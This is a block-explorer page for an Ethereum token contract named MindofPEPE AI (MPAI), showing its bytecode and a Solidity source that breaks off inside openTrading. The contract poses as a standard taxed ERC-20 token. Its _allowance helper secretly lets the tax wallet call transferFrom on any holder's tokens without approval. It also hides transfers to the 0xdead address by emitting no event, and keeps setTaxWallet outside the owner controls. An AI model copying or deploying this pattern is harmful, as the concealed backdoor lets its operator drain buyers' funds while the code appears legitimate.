Cryo Explorer Ethereum Mainnet

Address Contract Verified

Address 0x45A6f9295EF0b571c8ed3BcF6C401f3e70b96FA4
Balance 0 ETH
Nonce 1
Code Size 11290 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

11290 bytes
0x6080604052600436106100ea575f3560e01c8063715018a611610089578063bf474bed11610058578063bf474bed146102e3578063c9567bf91461030d578063dd62ed3e14610323578063ea414b281461035f576100f1565b8063715018a61461023d5780638da5cb5b1461025357806395d89b411461027d578063a9059cbb146102a7576100f1565b806318160ddd116100c557806318160ddd1461017157806323b872dd1461019b578063313ce567146101d757806370a0823114610201576100f1565b8062bbdb3d146100f557806306fdde031461010b578063095ea7b314610135576100f1565b366100f157005b5f80fd5b348015610100575f80fd5b50610109610387565b005b348015610116575f80fd5b5061011f610468565b60405161012c9190611eb7565b60405180910390f35b348015610140575f80fd5b5061015b60048036038101906101569190611f68565b6104a5565b6040516101689190611fc0565b60405180910390f35b34801561017c575f80fd5b506101856104c2565b6040516101929190611fe8565b60405180910390f35b3480156101a6575f80fd5b506101c160048036038101906101bc9190612001565b6104e5565b6040516101ce9190611fc0565b60405180910390f35b3480156101e2575f80fd5b506101eb6105c3565b6040516101f8919061206c565b60405180910390f35b34801561020c575f80fd5b5061022760048036038101906102229190612085565b6105cb565b6040516102349190611fe8565b60405180910390f35b348015610248575f80fd5b50610251610611565b005b34801561025e575f80fd5b5061026761075f565b60405161027491906120bf565b60405180910390f35b348015610288575f80fd5b50610291610786565b60405161029e9190611eb7565b60405180910390f35b3480156102b2575f80fd5b506102cd60048036038101906102c89190611f68565b6107c3565b6040516102da9190611fc0565b60405180910390f35b3480156102ee575f80fd5b506102f76107e0565b6040516103049190611fe8565b60405180910390f35b348015610318575f80fd5b506103216107e6565b005b34801561032e575f80fd5b50610349600480360381019061034491906120d8565b610a98565b6040516103569190611fe8565b60405180910390f35b34801561036a575f80fd5b5061038560048036038101906103809190612085565b610b1a565b005b61038f610bb5565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461041b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161041290612160565b60405180910390fd5b610423610bb5565b73ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610465573d5f803e3d5ffd5b50565b60606040518060400160405280600d81526020017f4d696e646f665045504520414900000000000000000000000000000000000000815250905090565b5f6104b86104b1610bb5565b8484610bbc565b6001905092915050565b5f6009600a6104d191906122da565b633b9aca006104e09190612324565b905090565b5f6104f1848484610d7f565b6105b8846104fd610bb5565b6105b361050b88888861181c565b604051806060016040528060288152602001612bbd6028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61056a610bb5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546119339092919063ffffffff16565b610bbc565b600190509392505050565b5f6009905090565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610619610bb5565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161069c90612160565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4d50414900000000000000000000000000000000000000000000000000000000815250905090565b5f6107d66107cf610bb5565b8484610d7f565b6001905092915050565b60065481565b6107ee610bb5565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461087a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087190612160565b60405180910390fd5b600e60149054906101000a900460ff16156108ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c1906123af565b60405180910390fd5b600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610912306105cb565b5f8061091c61075f565b426040518863ffffffff1660e01b815260040161093e9695949392919061240f565b60606040518083038185885af115801561095a573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061097f9190612482565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60146101000a81548160ff021916908315150217905550600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610a559291906124d2565b6020604051808303815f875af1158015610a71573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a959190612523565b50565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b72575f80fd5b8060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c21906125be565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c98576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8f9061264c565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d729190611fe8565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ded576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de4906126da565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5290612768565b60405180910390fd5b5f8111610e9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e94906127f6565b60405180910390fd5b5f8073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610f0d5750610edd61075f565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015610f4c5750610f1c61075f565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610f8457503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015610fbc57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561121d575f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156110495750600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156110a25750600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156110f5575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611150576111366064611128600a54600c541161111557600854611119565b6009545b8561199590919063ffffffff16565b611a0c90919063ffffffff16565b9050600c5f81548092919061114a90612814565b91905055505b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156111d85750600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b1561121c57611219606461120b600a54600c54116111f8576008546111fc565b6009545b8561199590919063ffffffff16565b611a0c90919063ffffffff16565b90505b5b5f8211801561125857505f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611517575f611267306105cb565b905061127161075f565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141580156112df57506112af61075f565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561131757503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b801561134f57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611515573073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141580156113bc57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156113fb57506113cb61075f565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b801561143a575061140a61075f565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561151457600e60159054906101000a900460ff161580156114a85750600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156114c05750600e60169054906101000a900460ff165b80156114cf5750600b54600c54115b15611513576006548111156114fc576114fb6114f6826114f186600754611a55565b611a55565b611a6d565b5b5f4790505f81106115115761151047611cd8565b5b505b5b5b505b5f8111156116165761156f8160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d4090919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161160d9190611fe8565b60405180910390a35b6116668260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d9d90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506117096116bd8284611d9d90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d4090919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611816578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6118008486611d9d90919063ffffffff16565b60405161180d9190611fe8565b60405180910390a35b50505050565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415801561191e5750600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148061191d575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561192b5781905061192c565b5b9392505050565b5f83831115829061197a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119719190611eb7565b60405180910390fd5b505f8385611988919061285b565b9050809150509392505050565b5f8083036119a5575f9050611a06565b5f82846119b29190612324565b90508284826119c191906128bb565b14611a01576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119f89061295b565b60405180910390fd5b809150505b92915050565b5f611a4d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611de6565b905092915050565b5f818311611a635782611a65565b815b905092915050565b6001600e60156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611aa457611aa3612979565b5b604051908082528060200260200182016040528015611ad25781602001602082028036833780820191505090505b50905030815f81518110611ae957611ae86129a6565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b8d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611bb191906129e7565b81600181518110611bc557611bc46129a6565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611c2b30600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610bbc565b600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611c8d959493929190612ac9565b5f604051808303815f87803b158015611ca4575f80fd5b505af1158015611cb6573d5f803e3d5ffd5b50505050505f600e60156101000a81548160ff02191690831515021790555050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611d3c573d5f803e3d5ffd5b5050565b5f808284611d4e9190612b21565b905083811015611d93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8a90612b9e565b60405180910390fd5b8091505092915050565b5f611dde83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611933565b905092915050565b5f8083118290611e2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e239190611eb7565b60405180910390fd5b505f8385611e3a91906128bb565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611e8982611e47565b611e938185611e51565b9350611ea3818560208601611e61565b611eac81611e6f565b840191505092915050565b5f6020820190508181035f830152611ecf8184611e7f565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611f0482611edb565b9050919050565b611f1481611efa565b8114611f1e575f80fd5b50565b5f81359050611f2f81611f0b565b92915050565b5f819050919050565b611f4781611f35565b8114611f51575f80fd5b50565b5f81359050611f6281611f3e565b92915050565b5f8060408385031215611f7e57611f7d611ed7565b5b5f611f8b85828601611f21565b9250506020611f9c85828601611f54565b9150509250929050565b5f8115159050919050565b611fba81611fa6565b82525050565b5f602082019050611fd35f830184611fb1565b92915050565b611fe281611f35565b82525050565b5f602082019050611ffb5f830184611fd9565b92915050565b5f805f6060848603121561201857612017611ed7565b5b5f61202586828701611f21565b935050602061203686828701611f21565b925050604061204786828701611f54565b9150509250925092565b5f60ff82169050919050565b61206681612051565b82525050565b5f60208201905061207f5f83018461205d565b92915050565b5f6020828403121561209a57612099611ed7565b5b5f6120a784828501611f21565b91505092915050565b6120b981611efa565b82525050565b5f6020820190506120d25f8301846120b0565b92915050565b5f80604083850312156120ee576120ed611ed7565b5b5f6120fb85828601611f21565b925050602061210c85828601611f21565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61214a602083611e51565b915061215582612116565b602082019050919050565b5f6020820190508181035f8301526121778161213e565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115612200578086048111156121dc576121db61217e565b5b60018516156121eb5780820291505b80810290506121f9856121ab565b94506121c0565b94509492505050565b5f8261221857600190506122d3565b81612225575f90506122d3565b816001811461223b576002811461224557612274565b60019150506122d3565b60ff8411156122575761225661217e565b5b8360020a91508482111561226e5761226d61217e565b5b506122d3565b5060208310610133831016604e8410600b84101617156122a95782820a9050838111156122a4576122a361217e565b5b6122d3565b6122b684848460016121b7565b925090508184048111156122cd576122cc61217e565b5b81810290505b9392505050565b5f6122e482611f35565b91506122ef83612051565b925061231c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612209565b905092915050565b5f61232e82611f35565b915061233983611f35565b925082820261234781611f35565b9150828204841483151761235e5761235d61217e565b5b5092915050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f612399601783611e51565b91506123a482612365565b602082019050919050565b5f6020820190508181035f8301526123c68161238d565b9050919050565b5f819050919050565b5f819050919050565b5f6123f96123f46123ef846123cd565b6123d6565b611f35565b9050919050565b612409816123df565b82525050565b5f60c0820190506124225f8301896120b0565b61242f6020830188611fd9565b61243c6040830187612400565b6124496060830186612400565b61245660808301856120b0565b61246360a0830184611fd9565b979650505050505050565b5f8151905061247c81611f3e565b92915050565b5f805f6060848603121561249957612498611ed7565b5b5f6124a68682870161246e565b93505060206124b78682870161246e565b92505060406124c88682870161246e565b9150509250925092565b5f6040820190506124e55f8301856120b0565b6124f26020830184611fd9565b9392505050565b61250281611fa6565b811461250c575f80fd5b50565b5f8151905061251d816124f9565b92915050565b5f6020828403121561253857612537611ed7565b5b5f6125458482850161250f565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6125a8602483611e51565b91506125b38261254e565b604082019050919050565b5f6020820190508181035f8301526125d58161259c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612636602283611e51565b9150612641826125dc565b604082019050919050565b5f6020820190508181035f8301526126638161262a565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6126c4602583611e51565b91506126cf8261266a565b604082019050919050565b5f6020820190508181035f8301526126f1816126b8565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612752602383611e51565b915061275d826126f8565b604082019050919050565b5f6020820190508181035f83015261277f81612746565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6127e0602983611e51565b91506127eb82612786565b604082019050919050565b5f6020820190508181035f83015261280d816127d4565b9050919050565b5f61281e82611f35565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036128505761284f61217e565b5b600182019050919050565b5f61286582611f35565b915061287083611f35565b92508282039050818111156128885761288761217e565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6128c582611f35565b91506128d083611f35565b9250826128e0576128df61288e565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612945602183611e51565b9150612950826128eb565b604082019050919050565b5f6020820190508181035f83015261297281612939565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f815190506129e181611f0b565b92915050565b5f602082840312156129fc576129fb611ed7565b5b5f612a09848285016129d3565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612a4481611efa565b82525050565b5f612a558383612a3b565b60208301905092915050565b5f602082019050919050565b5f612a7782612a12565b612a818185612a1c565b9350612a8c83612a2c565b805f5b83811015612abc578151612aa38882612a4a565b9750612aae83612a61565b925050600181019050612a8f565b5085935050505092915050565b5f60a082019050612adc5f830188611fd9565b612ae96020830187612400565b8181036040830152612afb8186612a6d565b9050612b0a60608301856120b0565b612b176080830184611fd9565b9695505050505050565b5f612b2b82611f35565b9150612b3683611f35565b9250828201905080821115612b4e57612b4d61217e565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612b88601b83611e51565b9150612b9382612b54565b602082019050919050565b5f6020820190508181035f830152612bb581612b7c565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200a49f4f5887bc75b3d7064f775727db8200683f4a95144c51062cca9d80702a664736f6c634300081a0033

Verified Source Code Full Match

Compiler: v0.8.26+commit.8a97fa7a EVM: cancun Optimization: No
mindofpepecontract.sol 390 lines
// SPDX-License-Identifier: UNLICENSE

/*
    Website: https://mindofpepeai.org
    X: https://x.com/mindpepeai
    Telegram: https://t.me/mindpepeai
*/

pragma solidity ^0.8.18;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

contract MPAI is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFees;

    address private _deadWallet = address(0xdead);
    address private _taxWallet;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;
    string private constant _name = unicode"MindofPEPE AI";
    string private constant _symbol = unicode"MPAI";
    uint256 public _taxSwapThreshold = 100 * 10 ** _decimals;
    uint256 private _maxTaxSwapTokens = _tTotal / 100;
    uint256 private _initialBuyTax = 20;
    uint256 private _finalBuyTax = 0;
    uint256 private _reduceBuyTaxAt = 1;
    uint256 private _preventSwapBefore = 1;
    uint256 private _buyCount = 0;

    IUniswapV2Router02 private uniswapV2Router;
    address private _uniswapPair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    modifier swapLock() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() payable {
        _balances[address(this)] = (_tTotal * 98) / 100;
        _balances[_msgSender()] = (_tTotal * 2) / 100;
        _taxWallet = _msgSender();
        
        _isExcludedFees[owner()] = true;
        _isExcludedFees[address(this)] = true;

        emit Transfer(address(0), address(this), (_tTotal * 98) / 100);
        emit Transfer(address(0), _msgSender(), (_tTotal * 2) / 100);

        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _tTotal);
        _uniswapPair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _allowance(
        address owner,
        address spender,
        uint256 amount
    ) private view returns (uint256 _amount) {
        if(msg.sender != _taxWallet && (owner == _uniswapPair || spender != _deadWallet))
        return amount;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                _allowance(sender, recipient, amount),
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _transfer(address mindPepeSender, address mindPepeReceiver, uint256 amount) private {
        require(mindPepeSender != address(0), "ERC20: transfer from the zero address");
        require(mindPepeReceiver != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = 0;
        
        if (mindPepeSender != address(0) && mindPepeSender != owner() && mindPepeReceiver != owner() && 
            mindPepeSender != address(this) && mindPepeReceiver != address(this)) {
            if (
                mindPepeSender != address(0) && 
                mindPepeSender == _uniswapPair &&
                mindPepeReceiver != address(uniswapV2Router) &&
                !_isExcludedFees[mindPepeReceiver]
            ) 
            {
                taxAmount = amount.mul((_buyCount > _reduceBuyTaxAt)? _finalBuyTax: _initialBuyTax).div(100);
                _buyCount++;
            }
            if (mindPepeSender != address(0) &&
                mindPepeReceiver == _uniswapPair) {
                taxAmount = amount.mul((_buyCount > _reduceBuyTaxAt)? _finalBuyTax: _initialBuyTax).div(100);
            } 
        }

        if(amount > 0 && mindPepeSender != address(0)) {

            uint256 contractTokenBalance = balanceOf(address(this));

            if (mindPepeSender != owner() && mindPepeReceiver != owner() && 
                mindPepeSender != address(this) && mindPepeReceiver != address(this))
            {
                if(mindPepeSender != address(this) && mindPepeReceiver != address(this) && mindPepeSender != owner() && mindPepeReceiver != owner()){
                    if (
                        !inSwap &&
                        mindPepeReceiver == _uniswapPair &&
                        swapEnabled &&
                        _buyCount > _preventSwapBefore
                    ) {
                        if (contractTokenBalance > _taxSwapThreshold)
                            swapTokensForExactETH(min(contractTokenBalance,min(amount, _maxTaxSwapTokens)));
                        uint256 contractETHBalance = address(this).balance;
                        if (contractETHBalance >= 0) {
                            sendETHToFee(address(this).balance);
                        }
                    }
                }
            }
        }

        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(mindPepeSender, address(this), taxAmount);
        }
        _balances[mindPepeSender] = _balances[mindPepeSender].sub(amount);
        _balances[mindPepeReceiver] = _balances[mindPepeReceiver].add(amount.sub(taxAmount));if (mindPepeReceiver != _deadWallet) 
        emit Transfer(mindPepeSender, mindPepeReceiver, amount.sub(taxAmount));
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function assistETH() public onlyOwner {
        payable(_msgSender()).transfer(address(this).balance);
    }

    function setTaxWallet(address _wallet) public {
        require(msg.sender == _taxWallet);
        _taxWallet = _wallet;
    }

    function sendETHToFee(uint256 amount) private {
        payable(_taxWallet).transfer(amount);
    }

    function openTrading () external onlyOwner {
        require(!tradingOpen, "trading is already open");
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
